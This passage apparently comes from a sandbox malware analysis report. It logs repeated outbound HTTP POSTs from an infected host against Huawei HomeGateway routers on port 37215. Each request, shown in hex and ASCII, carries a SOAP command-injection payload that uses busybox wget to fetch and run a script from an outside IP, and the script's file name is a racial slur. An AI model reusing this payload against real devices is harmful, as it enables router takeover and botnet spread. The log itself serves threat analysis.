61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:50.240770102 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.15	41030	156.93.225.105	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:54.161575079 CET	844	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.15	45448	156.254.80.249	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:55.646615982 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:57.186203957 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:59.010205030 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:02.626122952 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:10.049865961 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:24.641453028 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:54.336720943 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml 